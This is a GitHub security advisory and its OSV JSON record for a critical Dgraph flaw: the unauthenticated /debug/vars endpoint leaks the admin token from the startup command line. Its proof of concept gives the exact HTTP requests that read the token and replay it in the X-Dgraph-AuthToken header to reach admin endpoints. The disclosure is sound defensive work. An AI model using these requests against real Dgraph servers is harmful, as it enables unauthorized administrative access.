GHSA-VVF7-6RMR-M29Q
Vulnerability from github – Published: 2026-04-24 16:15 – Updated: 2026-05-04 20:08Summary
Dgraph v25.3.2 still exposes the process command line through the unauthenticated /debug/vars endpoint on Alpha. Because the admin token is commonly supplied via the --security "token=..." startup flag, an unauthenticated attacker can retrieve that token and replay it in the X-Dgraph-AuthToken header to access admin-only endpoints.
This is a variant of the previously fixed /debug/pprof/cmdline issue, but the current fix is incomplete because it blocks only /debug/pprof/cmdline and still serves http.DefaultServeMux, which includes expvar's /debug/vars handler.
Details
Alpha still exposes Go's default HTTP mux:
x/metrics.go- imports
expvar - initializes
Conf = expvar.NewMap("dgraph_config") - Go's
expvarpackage automatically registers/debug/vars expvarpublishes:cmdline = os.Argsmemstats = runtime.Memstats
Alpha's HTTP handler explicitly blocks only the old CVE path:
dgraph/cmd/alpha/run.go- checks
if r.URL.Path == "/debug/pprof/cmdline"and returns404 - otherwise falls through to
http.DefaultServeMux.ServeHTTP(w, r)
Admin endpoints still trust the leaked token:
dgraph/cmd/alpha/admin.go- reads
X-Dgraph-AuthToken - compares it to
worker.Config.AuthToken
PoC
- Send an unauthenticated request to Alpha:
GET /debug/vars HTTP/1.1
Host: target:8080
-
Parse the JSON response and read the
cmdlinefield. -
Extract the admin token from the startup arguments, for example:
--security token=debug-vars-secret;
- Replay the token to an admin-only endpoint:
GET /admin/config/cache_mb HTTP/1.1
Host: target:8080
X-Dgraph-AuthToken: debug-vars-secret
- The request is accepted as an authorized admin request.
This was reproduced against dgraph/dgraph:v25.3.2 in Docker.
Observed behavior:
- unauthenticated
/debug/varsleaked the configured token - replaying the leaked token in
X-Dgraph-AuthTokensuccessfully accessed/admin/config/cache_mb - response body was:
4096
It was verified that the old CVE path appears specifically patched in the same version:
/debug/pprof/cmdlinereturned404 Not Found/debug/pprof/remained reachable
Impact
Unauthenticated attackers can obtain the Alpha admin token and gain unauthorized administrative access.
This enables privileged admin operations such as:
- reading privileged admin configuration
- mutating admin configuration
- performing operational control actions gated by
X-Dgraph-AuthToken
In deployments where the Alpha HTTP port is reachable by untrusted parties, this is a practical authentication bypass to admin functionality.
{
"affected": [
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v25"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "25.3.3"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph/v24"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "24.1.8"
}
],
"type": "ECOSYSTEM"
}
]
},
{
"package": {
"ecosystem": "Go",
"name": "github.com/dgraph-io/dgraph"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"last_affected": "1.2.8"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-41492"
],
"database_specific": {
"cwe_ids": [
"CWE-200"
],
"github_reviewed": true,
"github_reviewed_at": "2026-04-24T16:15:28Z",
"nvd_published_at": "2026-04-24T19:17:14Z",
"severity": "CRITICAL"
},
"details": "### Summary\nDgraph `v25.3.2` still exposes the process command line through the unauthenticated `/debug/vars` endpoint on Alpha. Because the admin token is commonly supplied via the `--security \"token=...\"` startup flag, an unauthenticated attacker can retrieve that token and replay it in the `X-Dgraph-AuthToken` header to access admin-only endpoints.\n\nThis is a variant of the previously fixed `/debug/pprof/cmdline` issue, but the current fix is incomplete because it blocks only `/debug/pprof/cmdline` and still serves `http.DefaultServeMux`, which includes `expvar`\u0027s `/debug/vars` handler.\n\n### Details\nAlpha still exposes Go\u0027s default HTTP mux:\n\n- `x/metrics.go`\n - imports `expvar`\n - initializes `Conf = expvar.NewMap(\"dgraph_config\")`\n- Go\u0027s `expvar` package automatically registers `/debug/vars`\n- `expvar` publishes:\n - `cmdline = os.Args`\n - `memstats = runtime.Memstats`\n\nAlpha\u0027s HTTP handler explicitly blocks only the old CVE path:\n\n- `dgraph/cmd/alpha/run.go`\n - checks `if r.URL.Path == \"/debug/pprof/cmdline\"` and returns `404`\n - otherwise falls through to `http.DefaultServeMux.ServeHTTP(w, r)`\n\nAdmin endpoints still trust the leaked token:\n\n- `dgraph/cmd/alpha/admin.go`\n - reads `X-Dgraph-AuthToken`\n - compares it to `worker.Config.AuthToken`\n### PoC\n1. Send an unauthenticated request to Alpha:\n\n```http\nGET /debug/vars HTTP/1.1\nHost: target:8080\n```\n\n2. Parse the JSON response and read the `cmdline` field.\n\n3. Extract the admin token from the startup arguments, for example:\n\n```text\n--security token=debug-vars-secret;\n```\n\n4. Replay the token to an admin-only endpoint:\n\n```http\nGET /admin/config/cache_mb HTTP/1.1\nHost: target:8080\nX-Dgraph-AuthToken: debug-vars-secret\n```\n\n5. The request is accepted as an authorized admin request.\n\nThis was reproduced against `dgraph/dgraph:v25.3.2` in Docker.\n\nObserved behavior:\n\n- unauthenticated `/debug/vars` leaked the configured token\n- replaying the leaked token in `X-Dgraph-AuthToken` successfully accessed `/admin/config/cache_mb`\n- response body was:\n\n```text\n4096\n```\n\nIt was verified that the old CVE path appears specifically patched in the same version:\n\n- `/debug/pprof/cmdline` returned `404 Not Found`\n- `/debug/pprof/` remained reachable\n\n### Impact\nUnauthenticated attackers can obtain the Alpha admin token and gain unauthorized administrative access.\n\nThis enables privileged admin operations such as:\n\n- reading privileged admin configuration\n- mutating admin configuration\n- performing operational control actions gated by `X-Dgraph-AuthToken`\n\nIn deployments where the Alpha HTTP port is reachable by untrusted parties, this is a practical authentication bypass to admin functionality.",
"id": "GHSA-vvf7-6rmr-m29q",
"modified": "2026-05-04T20:08:42Z",
"published": "2026-04-24T16:15:28Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/security/advisories/GHSA-vvf7-6rmr-m29q"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-41492"
},
{
"type": "PACKAGE",
"url": "https://github.com/dgraph-io/dgraph"
},
{
"type": "WEB",
"url": "https://github.com/dgraph-io/dgraph/releases/tag/v25.3.3"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
"type": "CVSS_V3"
}
],
"summary": "Dgraph: Unauthenticated Admin Token Disclosure Leading to Authentication Bypass via /debug/vars"
}
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